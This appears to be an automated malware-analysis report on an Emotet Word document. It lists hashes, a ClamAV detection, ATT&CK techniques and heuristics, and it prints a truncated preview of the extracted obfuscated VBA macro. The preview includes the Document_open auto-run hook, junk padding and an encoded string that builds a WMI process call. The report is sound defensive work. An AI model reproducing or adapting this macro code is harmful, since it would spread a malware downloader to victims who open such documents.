Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 2e1b1f2df41dd5bf…

MALICIOUS

Office (OLE)

223.3 KB Created: 2020-09-01 18:05:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 9def4ed97028eddd4bb8b80a512acca0 SHA-1: 5978d44fc6d198c15b549884ee74996791305f24 SHA-256: 2e1b1f2df41dd5bf078a68924e1b8fb3b1cba0f3ebe724ef410163a42688ba3a
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample is identified as malicious by ClamAV with a signature indicating it is a downloader, specifically 'Doc.Downloader.EmotetRed02226-9938639-0'. The presence of VBA macros, particularly a 'Document_Open' macro that uses 'CreateObject', strongly suggests an attempt to execute code automatically when the document is opened. This pattern is typical for Emotet malware, which often uses macro-enabled documents to download and execute further stages of its payload.

Heuristics 6

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14914 bytes
SHA-256: 3c91958b487ff9bf94c9db91fa5d5603e4235f5d05a9ab48bf8074cf6c736ce6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Tnrns0dbhgf"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
B5s1fg1jl064d.Z9uce0lzttmxll2o
End Sub


Attribute VB_Name = "B5s1fg1jl064d"
Attribute VB_Base = "0{FE475F33-EE2D-4737-AF77-65C5E004E7C5}{3A9DEE71-BEDB-4065-BB02-45A7B99522B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Z9uce0lzttmxll2o()
   On Error Resume Next
Set klshdfi3 = dhhdhdh
   Select Case ljzt86IG
      Case 455
         aTlU025 = Hex(9 - 51 / syab996 / ChrB(suJ))
         dKJA0 = hlZm2J4tq
         Set i3hj5k2 = kkh56jk
         UtSQ1 = Tan(69)
      Case 2
         bWV = Atn(Arft)
         TEM = 5
         Set sdfewe = ewrjjHGd
         SXxX = Sgn(23)
      Case 8
         TYgeX74 = CInt(TWJQ7)
         dOC = HRth5ZbW6
         prLG = Hex(320 / PObS71P18 + 456 * CBool(TPapT7q))
   End Select
   Set HKVkjS = HUIGHISw
   wDmj2z = 35 - 666
Ipq5rw42vi4sbi1wv = 100
   On Error Resume Next
Set klshdfi3 = dhhdhdh
   Select Case ljzt86IG
      Case 455
         aTlU025 = Hex(9 - 51 / syab996 / ChrB(suJ))
         dKJA0 = hlZm2J4tq
         Set i3hj5k2 = kkh56jk
         UtSQ1 = Tan(69)
      Case 2
         bWV = Atn(Arft)
         TEM = 5
         Set sdfewe = ewrjjHGd
         SXxX = Sgn(23)
      Case 8
         TYgeX74 = CInt(TWJQ7)
         dOC = HRth5ZbW6
         prLG = Hex(320 / PObS71P18 + 456 * CBool(TPapT7q))
   End Select
   Set HKVkjS = HUIGHISw
   wDmj2z = 35 - 666
Cmt87iyet1hp94 = ChrW(Ipq5rw42vi4sbi1wv + (dccc + 5 + fbbf + 10))
   On Error Resume Next
Set klshdfi3 = dhhdhdh
   Select Case ljzt86IG
      Case 455
         aTlU025 = Hex(9 - 51 / syab996 / ChrB(suJ))
         dKJA0 = hlZm2J4tq
         Set i3hj5k2 = kkh56jk
         UtSQ1 = Tan(69)
      Case 2
         bWV = Atn(Arft)
         TEM = 5
         Set sdfewe = ewrjjHGd
         SXxX = Sgn(23)
      Case 8
         TYgeX74 = CInt(TWJQ7)
         dOC = HRth5ZbW6
         prLG = Hex(320 / PObS71P18 + 456 * CBool(TPapT7q))
   End Select
   Set HKVkjS = HUIGHISw
   wDmj2z = 35 - 666
Phdx8jizfeqzjw3 = "34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2w34nnx)))) 9(((hwiqi ()()hnwjc2i34nnx)))) 9(((hwiqi ()()hnwjc2nm34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2gm34nnx)))) 9(((hwiqi ()()hnwjc2t34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2" + Cmt87iyet1hp94 + "34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2:34nnx)))) 9(((hwiqi ()()hnwjc2w34nnx)))) 9(((hwiqi ()()hnwjc2in34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2334nnx)))) 9(((hwiqi ()()hnwjc2234nnx)))) 9(((hwiqi ()()hnwjc2_34nnx)))) 9(((hwiqi ()()hnwjc2" + B5s1fg1jl064d.Rnamzzfpqr4m + "34nnx)))) 9(((hwiqi ()()hnwjc2ro34nnx)))) 9(((hwiqi ()()hnwjc234nnx)))) 9(((hwiqi ()()hnwjc2ce34nnx)))) 9(((hwiqi ()()hnwjc2s34nnx)))) 9(((hwiqi ()()hnwjc2s34nnx)))) 9(((hwiqi ()()hnwjc2"
   On Error Resume Next
Set klshdfi3 = dhhdhdh
   Select Case ljzt86IG
      Case 455
         aTlU025 = Hex(9 - 51 / syab996 / ChrB(suJ))
         dKJA0 = hlZm2J4tq
         Set i3hj5k2 = kkh56jk
         UtSQ1 = Tan(69)
      Case 2
         bWV = Atn(Arft)
         TEM = 5
         Set sdfewe = ewrjjHGd
         SXxX = Sgn(23)
      Case 8
         TYgeX74 = CInt(TWJQ7)
         dOC = HRth5ZbW6
         prLG = Hex(320 / PObS71P18 + 456 * CBool(TPapT7q))
   End Select
   Set HKVkjS = HUIGHISw
   wDmj2z = 35 - 666
Qucjntan5l3ec5twel = Mcgfug7ghwpnaq3875(Phdx8jizfeqzjw3)
   On Error Resume Next
Set klshdfi3 = dhhdhdh
   Select Case ljzt86IG
      Case 455
         aTlU025 = Hex(9 - 51 / syab996 / ChrB(suJ))
         dKJA0 = hlZm2J4tq
         Set i3hj5k2 = kkh56jk
         UtSQ1 = Tan(69)
... (truncated)